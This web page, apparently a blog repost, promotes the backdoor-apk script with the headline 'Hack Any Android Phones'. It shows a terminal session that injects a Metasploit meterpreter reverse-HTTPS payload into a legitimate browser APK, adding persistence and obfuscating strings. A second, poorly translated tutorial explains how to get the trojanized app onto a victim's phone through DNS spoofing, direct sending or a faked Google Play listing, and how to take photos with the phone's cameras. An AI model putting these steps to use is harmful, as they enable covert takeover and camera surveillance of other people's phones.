Backdoor APK - Hack Any Android Phones

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only


Usage:

root@kali:~/Android/evol-lab/BaiduBrowserRat# ./backdoor-apk.sh BaiduBrowser.apk
          ________
         / ______ \
         || _  _ ||
         ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
         |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
         || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
         ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
         |||_||_|||         AAA  AAA  PPP       KKK  KKK
         ||______||         AAA  AAA  PPP       KKK  KKK
        /__________\
________|__________|__________________________________________
       /____________\
       |____________|            Dana James Traversie

[*] Running backdoor-apk.sh v0.1.7 on Wed Nov 30 22:30:34 EST 2016
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.6.9.31
[?] Please enter an LPORT value: 443
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Decompiling original APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Android/evol-lab/BaiduBrowserRat#

The recompiled APK will be found in the 'original/dist' directory. Install the APK on a compatible Android device, run it, and handle the meterpreter connection via the generated resource script: msfconsole -r backdoor-apk.rc

--------------

Link: https://github.com/dana-at-cp/backdoor-apk

Breakthrough Android devices and control their own cameras

We talked in a previous video on how to get through the Android and control systems through to be APK file through Metasploit project and then get the powers to control the device in a simple, in this article I will explain how to penetrate the Android systems through Meterpreter APK payload are configured through Metasploit and then take some pictures through the camera front and rear of the device works with Android system.

We will begin the formation Meterpreter android payload through Metasploit, looking at the following image:

We also note we configure Android Meterpreter payload, doing a reverse connection to the ip particularly my computer address and port 1234, please review cycle Penetration Testing with Metasploit free to be able to understand this article better, now let 's do the processing of receiving the call through Metasploit through Multi handler :

Fabulous ! , We eavesdrop on port 1234 through the Multi handler, can now receive the next contact through our Albailoud, now there will be many scenarios that we will work with them to deliver pay.apk that was previously generated to an Android device that will be breached file, I will ask a range of scenarios, namely:

• Dns Spoof work and transform the user page has pre-programmed to persuade him to download pay.apk file.
• Send pay.apk file directly to the user.
• Forgery of some of the things inside the Google play and download pay.apk through it.

I know that the latter scenario could be very fun and very strong but I'll choose the second scenario in the beginning to clarify the mechanism of action and will leave Google play scenario of strong new of its kind in this area to explain, and as for the first scenario will touch him later also

We will now send pay.apk file to the user through Bluetooth, and the images of the Android system describes how to receive and run the file:

Well, as we observe the inauguration pay.apk on your Android device and we will now turn it on and complete our own process, these pictures show the completion of the installation of pay.apk

We also note was inaugurated pay.apk He now works under the name Main activity we will turn it on now and will observe the work of Reverse contact with us, and these pictures show that:

Very nice, because now we are trying to help execute the command to view some of the available commands and will observe their last command line, you have the following picture:

As Seen There webcam_list and webcam_snap option, we will now bring existing cameras inside the machine through our implementation of the order webcam_list:

Good ! We also note there are two cameras inside the machine to Anagam now implementing it webcam_snap and then determine the camera number that we want to take a picture of them and this will be the result of executing the command:

This is the image captured by the front camera own my computer:

As we can see, we were able to take a picture of my computer for the camera of a breakthrough system through the APK metepreter and, God willing, there will be more powerful explanations that specializes in test penetration of smart phones.